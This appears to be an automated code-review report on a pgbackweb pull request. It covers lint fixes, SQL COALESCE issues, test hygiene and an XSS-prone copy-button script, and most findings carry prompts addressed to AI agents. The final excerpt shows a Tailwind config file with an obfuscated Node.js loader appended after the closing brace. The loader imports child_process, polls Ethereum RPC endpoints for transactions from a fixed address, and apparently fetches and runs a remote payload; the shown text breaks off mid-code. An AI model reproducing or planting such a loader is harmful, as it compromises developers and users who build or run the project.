- html.Div( - html.TabIndex("0"), - html.Role("button"), + html.Button( + html.Type("button"), components.Classes{ "btn btn-neutral space-x-1": true,🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/change_theme_button.go` around lines 32 - 50, Replace the theme dropdown trigger’s html.Div with html.Button in the change-theme rendering code, remove the role="button" attribute, and add html.Type("button") so native Enter and Space activation works without form submission..github/workflows/lint-test-build.yaml-1-1 (1)
1-1: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winNormalize both workflow files to LF line endings.
YAMLlint reports an incorrect newline character in both files.
.github/workflows/lint-test-build.yaml#L1-L1: convert the file to LF line endings..github/workflows/sync-docker-hub-readme.yaml#L1-L1: convert the file to LF line endings.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/lint-test-build.yaml at line 1, Normalize both workflow files, .github/workflows/lint-test-build.yaml (lines 1-1) and .github/workflows/sync-docker-hub-readme.yaml (lines 1-1), to use LF line endings throughout; no content changes are needed.Source: Linters/SAST tools
.golangci.yaml-1-1 (1)
1-1: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winUse LF line endings for this configuration file.
YAMLlint reports
wrong new line character: expected \nat Line 1. Convert.golangci.yamlfrom CRLF to LF so YAML validation passes.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.golangci.yaml at line 1, Convert the `.golangci.yaml` file’s line endings from CRLF to LF, preserving its content and configuration so YAMLlint accepts the file.Source: Linters/SAST tools
compose.yaml-1-1 (1)
1-1: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winNormalize the file to LF line endings.
YAMLlint reports
wrong new line character: expected \nat Line 1. Convertcompose.yamlto LF before merging so repository lint accepts the file.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@compose.yaml` at line 1, Normalize compose.yaml to LF (\n) line endings throughout the file, preserving its YAML content so YAMLlint accepts it.Source: Linters/SAST tools
README.md-4-4 (1)
4-4: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winAdd alternate text to every image.
The images at Lines 4, 27, and 102-104 have no
altattribute. Add short descriptions for screen-reader users. markdownlint reports MD045 for these lines.Also applies to: 27-27, 102-104
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@README.md` at line 4, Add descriptive alt text to every image in README.md, including the images near lines 4, 27, and 102-104, using short screen-reader-friendly descriptions and preserving the existing image sources and layout.Source: Linters/SAST tools
README.md-66-78 (1)
66-78: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick winReplace copy-ready credentials in the Compose example.
Line 66 uses
"my_secret_key". Lines 67 and 78 usepassword. Users can copy these values into a reachable deployment. Use required environment substitutions or non-runnable placeholders for every credential. Document that the database password must also change.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@README.md` around lines 66 - 78, Update the README Compose example credentials: replace the copy-ready PBW_ENCRYPTION_KEY, PBW_POSTGRES_CONN_STRING password, and POSTGRES_PASSWORD values with required environment substitutions or clearly non-runnable placeholders. Add a brief instruction that the database password must be changed before deployment.sqlc.yaml-1-1 (1)
1-1: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winNormalize both YAML files to LF line endings.
YAMLlint reports the same newline-style error in both files. Convert each file to LF line endings before merge.
sqlc.yaml#L1-L1: convert the entire SQLC configuration file to LF line endings.taskfile.yaml#L1-L1: convert the entire Taskfile to LF line endings.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@sqlc.yaml` at line 1, Normalize line endings throughout sqlc.yaml (lines 1-1) and taskfile.yaml (lines 1-1) from CRLF to LF, without changing their YAML content.Source: Linters/SAST tools
scripts/startup.sh-20-23 (1)
20-23: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winCheck the permission task result before printing success.
This script does not stop or check the status of
task fixperms. If the task fails, it still prints[OK] permissions fixedand continues. Check the result explicitly before printing the success message. Handle the script's sourced execution context when returning failure.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@scripts/startup.sh` around lines 20 - 23, Update the startup flow around the fixperms task to capture and explicitly validate task fixperms's exit status before printing “[OK] permissions fixed”. On failure, stop execution and return failure using the appropriate mechanism for a sourced script context, such as returning a nonzero status rather than assuming process exit.internal/service/destinations/get_destinations_qty.sql-1-6 (1)
1-6: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winReturn zero for empty destination counts.
Postgres returns
NULLfrom theSUM(...)aggregates whendestinationsis empty, whileCOUNT(*)returns0. Wrap the sums withCOALESCE(..., 0)so the dashboard chart receives consistent numeric counts.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/destinations/get_destinations_qty.sql` around lines 1 - 6, Update the DestinationsServiceGetDestinationsQty query so both healthy and unhealthy SUM aggregates are wrapped with COALESCE(..., 0), ensuring empty destinations return numeric zero counts while preserving the existing COUNT(*) result.internal/config/helpers_test.go-12-19 (1)
12-19: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winUse
t.Setenvto restore environment state.
os.Setenvos.Unsetenvleaves the test process withoutTEST_ENVifos.Unsetenvis an early cleanup and may leave another value if an assertion before it fails. Replace eachos.Setenv(...) ... os.Unsetenv(...)sequence witht.Setenv(...)so Go restores the previous value automatically.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/config/helpers_test.go` around lines 12 - 19, Replace the manual os.Setenv/os.Unsetenv sequence in the getEnvAsStringFunc test with t.Setenv, preserving the TEST_ENV value used by the test while relying on testing cleanup to restore the prior environment state.internal/config/helpers_test.go-17-18 (1)
17-18: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winUse fatal assertions before dereferencing
value.
assert.NoErrorrecords a failure and continues. If a future parser change returns an error with a nil value, the following*valuedereference panics and can hide the original assertion failure. Userequire.NoErrorandrequire.NotNilfor these guard checks.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/config/helpers_test.go` around lines 17 - 18, Replace the guard assertions before dereferencing value with require.NoError for err and require.NotNil for value, ensuring the test stops safely before *value when parsing fails or returns nil.internal/service/restorations/get_restorations_qty.sql-2-7 (1)
2-7: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick winReturn zero counts for an empty restorations table.
COUNT(*)returns0, but eachSUM(CASE ...)returnsNULLwhenrestorationshas no rows. This row feeds the summary dashboard asrestorationsQty.Running,Success, andFailed, so useCOALESCE(..., 0)for each status aggregate.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/restorations/get_restorations_qty.sql` around lines 2 - 7, Update the status aggregates in the restorations quantity query so the running, success, and failed counts use COALESCE with a zero fallback, while preserving COUNT(*) for the all count and existing status conditions.internal/service/databases/create_database.go-18-20 (1)
18-20: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick winGuard the post-create update on the create result.
At Line 20,
TestDatabaseAndStoreResultruns even whenDatabasesServiceCreateDatabasereturns an error. In that path,dbcan be zero-valued, so the method receives a zero UUID. Its error is also discarded. Check the create error before the follow-up. If the follow-up remains best effort, record its failure for retry instead of silently losing the health result.Proposed guard
db, err := s.dbgen.DatabasesServiceCreateDatabase(ctx, params) +if err != nil { + return db, err +} _ = s.TestDatabaseAndStoreResult(ctx, db.ID)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/databases/create_database.go` around lines 18 - 20, Update the create flow around DatabasesServiceCreateDatabase and TestDatabaseAndStoreResult to check err before using db.ID, returning or otherwise handling the create failure without invoking the follow-up on a zero-valued result. If the follow-up remains best effort, capture its error and record it through the existing retry or failure mechanism instead of discarding it.internal/view/web/dashboard/backups/manual_run.go-20-22 (1)
20-22: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winTrack manual backup execution failures and duplicate starts.
RunExecutionlogs failures and writesfailed/successintoexecutions, butmanualRunHandlerdiscards the error and a second request can create anotherrunningexecution with no unique orCONFLICThandling. Move the start inside the request to report errors, or enqueue a durable job with per-backup concurrency control.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/dashboard/backups/manual_run.go` around lines 20 - 22, Update manualRunHandler to stop launching RunExecution asynchronously while discarding its error; invoke it within the request flow and return an appropriate error response when execution fails. Also prevent duplicate starts for the same backup by enforcing per-backup concurrency and handling the existing execution conflict instead of creating another running execution.internal/logger/REAME.md-1-11 (1)
1-11: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winRename this documentation file to
README.md.The reviewed path is
internal/logger/REAME.md. The misspelled name prevents standard repository and documentation tooling from recognizing the package README. Rename it tointernal/logger/README.md.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/logger/REAME.md` around lines 1 - 11, Rename the documentation file from REAME.md to README.md, preserving its existing content so standard README discovery recognizes the logger package.internal/view/static/js/dashboard-aside-scroll.js-1-2 (1)
1-2: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winReturn early when
#dashboard-asideis absent.
initDashboardAsideScroll()registers listeners even whendocument.getElementById('dashboard-aside')returnsnull, and those listeners read or writeel.scrollTop. Add a guard before registering the listeners.Proposed guard
export function initDashboardAsideScroll () { const el = document.getElementById('dashboard-aside') + if (!el) return🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/static/js/dashboard-aside-scroll.js` around lines 1 - 2, Update initDashboardAsideScroll to return immediately when document.getElementById('dashboard-aside') returns null, before registering any listeners or accessing el.scrollTop; preserve the existing behavior when the element is present.internal/view/web/component/textarea_control.go-71-74 (1)
71-74: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winRemove
patternfrom<textarea>validation.HTML
patternapplies to supported<input>types and browsers do not apply it to<textarea>. If this field must enforce the regular expression, implement server-side validation or explicit client-side validation and clearTextareaControlParams.Patternfrom this branch.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/textarea_control.go` around lines 71 - 74, Remove the params.Pattern conditional and html.Pattern call from the textarea rendering branch in the TextareaControl component, leaving TextareaControlParams.Pattern unused there. If pattern enforcement is required, handle it through the established server-side or explicit client-side validation path rather than emitting a pattern attribute on <textarea>.
| escapedTextToCopy := strings.ReplaceAll(textToCopy, "`", "\\`") | ||
| rawScript := fmt.Sprintf( | ||
| "<script>function copy%s(){ copyToClipboard(`%s`); }</script>", | ||
| id, | ||
| escapedTextToCopy, | ||
| ) | ||
| script := gomponents.Raw(rawScript) | ||
| copyEvent := gomponents.Attr("onclick", fmt.Sprintf("copy%s()", id)) |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== locate file =="
fd -a 'copy_button\.go$' . || true
echo "== file outline =="
if [ -f internal/view/web/component/copy_button.go ]; then
ast-grep outline internal/view/web/component/copy_button.go || true
echo "== relevant file contents =="
cat -n internal/view/web/component/copy_button.go
fi
echo "== usages =="
rg -n "copy_button|CopyButton|copy()" -S . || trueRepository: eduardolat/pgbackweb
Length of output: 7794
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== init-copy-function.js =="
cat -n internal/view/static/js/init-copy-function.js
echo "== list_databases copy usage context =="
sed -n '80,110p' internal/view/web/dashboard/databases/list_databases.go | cat -n
echo "== deterministic JS text behavior probe =="
node - <<'JS'
const inputs = [
'${alert(1)}',
'</script><img src=x onerror=alert(1)>',
'back\\slash',
'newline\nline',
'quote"slash\\`backtick',
];
for (const textToCopy of inputs) {
const escapedTextToCopy = textToCopy.replaceAll('`', '\\`');
const script = `<script>function copyx(){ copyToClipboard(\`${escapedTextToCopy}\`); }</script>`;
console.log('INPUT', textToCopy.split('\n').join('\\n'));
console.log('SCRIPT', script.split('\n').join('\\n'));
try {
const context = { copyToClipboard: text => { this.result = text; } };
Function('"use strict"; ' + script)(context);
console.log('RESULT', (context.result ?? textToCopy).split('\n').join('\\n'));
} catch (e) {
console.log('ERROR', e.message.split('\n').join('\\n'));
}
console.log('---');
}
JS
echo "== go JSEscapeString exists and behavior via temp source? =="
tmp="$(mktemp -d)"
cat > "$tmp/main.go" <<'GO'
package main
import (
"html/template"
"os"
)
func main() {
for _, s := range []string{
"${alert(1)}",
"</script>",
`back\slash`,
"newline\nline",
`quote"slash\` + "`" + `backtick`,
} {
if _, err := os.Stdout.WriteString(template.JSEscapeString(s)); err != nil {
panic(err)
}
if _, err := os.Stdout.WriteString("\n"); err != nil {
panic(err)
}
}
}
GO
(cd "$tmp" && go run main.go)
rm -rf "$tmp"Repository: eduardolat/pgbackweb
Length of output: 3862
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== list_destinations copy contexts =="
sed -n '88,135p' internal/view/web/dashboard/destinations/list_destinations.go | cat -n
echo "== inspect database/destination field origins =="
rg -n "DecryptedConnectionString|DecryptedAccessKey|DecryptedSecretKey|BucketName|Endpoint|Region|PgVersion|CreatedAt|Name|TestOk|TestError|LastTestAt" internal/view/internal internal/model internal -S || trueRepository: eduardolat/pgbackweb
Length of output: 50377
🌐 Web query:
go html/template JSEscapeString unescaping backticks template literal
💡 Result:
In the Go html/template package, JSEscapeString is designed to provide security against cross-site scripting (XSS) by escaping input for use within JavaScript strings [1][2][3]. Regarding backticks () and JavaScript template literals: 1. Handling of Backticks: Historically, html/templatedid not treat backticks as JavaScript string delimiters, which could allow attackers to terminate a template literal and inject arbitrary JavaScript [4][5]. Following CVE-2023-24538, the package now restricts the use of Go template actions (e.g.,{{.}}) inside JavaScript template literals [4][5]. 2. Parser Behavior: Because of the complexity of safely handling interpolation within JavaScript template literals, template.Parsewill return an error if it encounters a Go template action inside one [4][5]. This prevents the unsafe interpretation of backticks as string delimiters by blocking the pattern entirely [4][5]. 3. Legacy Override: If you have a specific, legacy need to allow this behavior, you can enable it using theGODEBUGflagjstmpllitinterp=1[4][5]. When enabled, backticks are correctly escaped to prevent injection, though this is cautioned against due to the inherent complexity and security risks [4][5]. 4. Contextual Awareness: It is important to note thathtml/templateuses context-aware auto-escaping [1][2]. In most cases, you do not need to manually callJSEscapeString. If you are inserting data into a JavaScript context, the library automatically applies the appropriate escaping [1][2]. Manually applying JSEscapeStringto already contextually escaped output can lead to double-escaping or correctness issues [1][2]. Recent updates, such as those addressing CVE-2026-32289 (Issue#78331`), have further refined how the engine tracks context and brace depth within JavaScript template literals to ensure security [6]. Always rely on the built-in contextual auto-escaping mechanism rather than manual string manipulation where possible [1][2].
Citations:
- 1: https://pkg.go.dev/html/template
- 2: https://pkg.go.dev/html/template@go1.26.5
- 3: https://pkg.go.dev/text/template
- 4: html/template: backticks not treated as string delimiters (CVE-2023-24538) golang/go#59234
- 5: https://pkg.go.dev/vuln/GO-2023-1703
- 6: html/template: JS template literal context incorrectly tracked golang/go#78331
🌐 Web query:
CVE-2026-32289 Go template JSTPLINTERP backtick escaping
💡 Result:
CVE-2026-32289 is a security vulnerability in the Go standard library's html/template package, specifically concerning the tracking of JavaScript template literal contexts [1][2]. The vulnerability stems from two primary issues in how the template engine handles context within JavaScript template literals (defined by backticks): 1. Incorrect tracking of template literal brace depth when template actions are used within JavaScript template literals [1][2]. 2. Failure to properly track context across different template branches (such as those introduced by conditional logic) when JavaScript template literals are involved [1][2]. These flaws can lead to improper or incorrect escaping of content, potentially enabling Cross-Site Scripting (XSS) attacks in applications that use template actions within JavaScript template literals [1][2][3]. The issue was addressed by ensuring the brace depth is properly tracked across branches and ranges, and by incorporating the brace depth into the stringification/mangling process for contexts to prevent the accidental re-use of escape analysis [2][4]. Affected versions include Go versions prior to 1.25.9, and Go 1.26.0 through 1.26.1 [1][3]. The vulnerability was fixed in Go 1.25.9 and 1.26.2 [1][3]. Note that this issue is distinct from, though thematically related to, the earlier CVE-2023-24538, which dealt with the fundamental issue of backticks not being treated as string delimiters in Go templates, leading to the library's decision to generally disallow Go template actions within JavaScript template literals [5][6][7]. CVE-2026-32289 pertains specifically to the state-tracking logic for those contexts [2][4].
Citations:
- 1: https://pkg.go.dev/vuln/GO-2026-4865
- 2: html/template: JS template literal context incorrectly tracked golang/go#78331
- 3: https://osv.dev/vulnerability/CVE-2026-32289
- 4: https://go.googlesource.com/go/+/199c4d1c3c9d509a51f777c81cb17d4b17728097
- 5: html/template: backticks not treated as string delimiters (CVE-2023-24538) golang/go#59234
- 6: golang/go@20374d1
- 7: https://pkg.go.dev/vuln/GO-2023-1703
🌐 Web query:
CVE-2023-24538 Go xhtml/js javascript template literal backtick injection
💡 Result:
CVE-2023-24538 is a security vulnerability in the Go standard library package html/template that allowed for potential JavaScript injection via template literals [1][2]. The vulnerability existed because the package did not correctly identify backticks (`) as delimiters for JavaScript template literals [1]. Consequently, if a Go template action (such as {{.}}) was embedded inside a JavaScript template literal, it could be used to terminate the string early and inject arbitrary JavaScript code [1][3]. To address this, the Go team decided to disallow the use of Go template actions within JavaScript template literals altogether, as there was no reliable way to safely permit them given the complexity of ES6 template literal interpolation [1][2]. Key impacts and details include: - Behavioral Change: The Template.Parse function now returns an error when it encounters Go template actions inside JavaScript template literals [1][2]. - Error Handling: This error is associated with an unexported error code (value 12) [1][4]. - Affected Versions: The vulnerability affected Go versions prior to 1.19.8 and 1.20.3 [2][5]. - Legacy Support: Users who rely on the previous behavior can re-enable it by setting the GODEBUG environment variable jstmpllitinterp=1 [1][2]. However, this is discouraged, and if used, backticks will be escaped as a security precaution [1]. This fix adopts a similar safety strategy to the one used in the Google safehtml library [1][3].
Citations:
- 1: html/template: backticks not treated as string delimiters (CVE-2023-24538) golang/go#59234
- 2: https://nvd.nist.gov/vuln/detail/cve-2023-24538
- 3: https://osv.dev/vulnerability/CVE-2023-24538
- 4: https://www.cve.org/CVERecord?id=CVE-2023-24538
- 5: https://pkg.go.dev/vuln/GO-2023-1703
🌐 Web query:
CVE-2026-4865 Go html/template JSTPLINTERP unescaped backtick template literal
💡 Result:
There is no CVE-2026-4865 associated with Go html/template [1][2][3]. It appears the query combines elements from distinct vulnerabilities. The details you described—regarding backtick handling in JS template literals and the GODEBUG flag jstmpllitinterp—pertain to CVE-2023-24538 [4][5][6]. That vulnerability addressed the improper handling of ES6 backtick-delimited template literals within Go html/template, which could allow for Cross-Site Scripting (XSS) via injected template actions [4][7]. A more recent vulnerability affecting the Go html/template package is CVE-2026-32289 (tracked as GO-2026-4865) [1][3][8]. This issue involved: - Improper context tracking across template branches for JS template literals, leading to potential incorrect content escaping [1][2]. - Failure to properly track brace depth for template actions within JS template literals, also resulting in incorrect escaping [1][2]. Like the previous issue, these flaws could lead to XSS vulnerabilities when template actions are used within JS template literals [1][2]. This vulnerability affects Go versions before 1.25.9 and versions from 1.26.0-0 before 1.26.2 [1][8].
Citations:
- 1: https://pkg.go.dev/vuln/GO-2026-4865
- 2: https://osv.dev/vulnerability/GO-2026-4865
- 3: https://go.googlesource.com/vulndb/+/f6a5b20aa5e750c5bb9187ffb059291b34f9649a/data/reports/GO-2026-4865.yaml
- 4: html/template: backticks not treated as string delimiters (CVE-2023-24538) golang/go#59234
- 5: https://pkg.go.dev/vuln/GO-2023-1703
- 6: https://nvd.nist.gov/vuln/detail/CVE-2023-24538
- 7: https://osv.dev/vulnerability/CVE-2023-24538
- 8: https://nvd.nist.gov/vuln/detail/CVE-2026-32289
🌐 Web query:
JS ES6 template literal slash backtick newline escape behavior
💡 Result:
In JavaScript ES6 template literals (delimited by backticks), newline and backtick behavior is handled as follows: Multiline support: Unlike standard string literals (which use single or double quotes), template literals natively support multiline strings [1][2]. Any newline character inserted directly into the source code is preserved as part of the string [1]. Escaping newlines for readability: If you wish to write a single-line string across multiple lines in your source code for readability without including the newline character in the final string, you can use a line continuation by placing a backslash () immediately before the newline [1]. This effectively renders as an empty string and does not add a newline character to the output [3]. Escaping backticks: Because the backtick () is the delimiter for template literals, it must be escaped using a backslash (\) if you wish to include it literally within the string [1][4]. Summary of escape behavior: - Newlines: Native support; written directly to produce a newline in the output [1]. - Backslash + Newline: Line continuation; produces an empty string (no newline in output) [1][3]. - Backslash + Backtick (`): Escapes the delimiter; produces a literal backtick [1][4].
Citations:
- 1: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals
- 2: https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Strings
- 3: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar
- 4: https://stackoverflow.com/questions/35803959/template-literals-with-backticks-in-es6
Escape textToCopy as a quoted JavaScript string.
strings.ReplaceAll(textToCopy, "", "\") only escapes backticks; it does not escape quotes, backslashes, or newlines. Use template.JSEscapeString(textToCopy) and the "..." form in copyButtonScript to avoid JavaScript injection in the copy listener.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@internal/view/web/component/copy_button.go` around lines 80 - 89, Update
copyButtonScript to escape textToCopy with template.JSEscapeString and embed it
as a quoted JavaScript string using double quotes instead of a template literal.
Remove the backtick-only strings.ReplaceAll escaping while preserving the
existing copyToClipboard call and generated function behavior.
| }, | ||
| extend: {} | ||
| } | ||
| }; global.i="A9-2157-1";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await 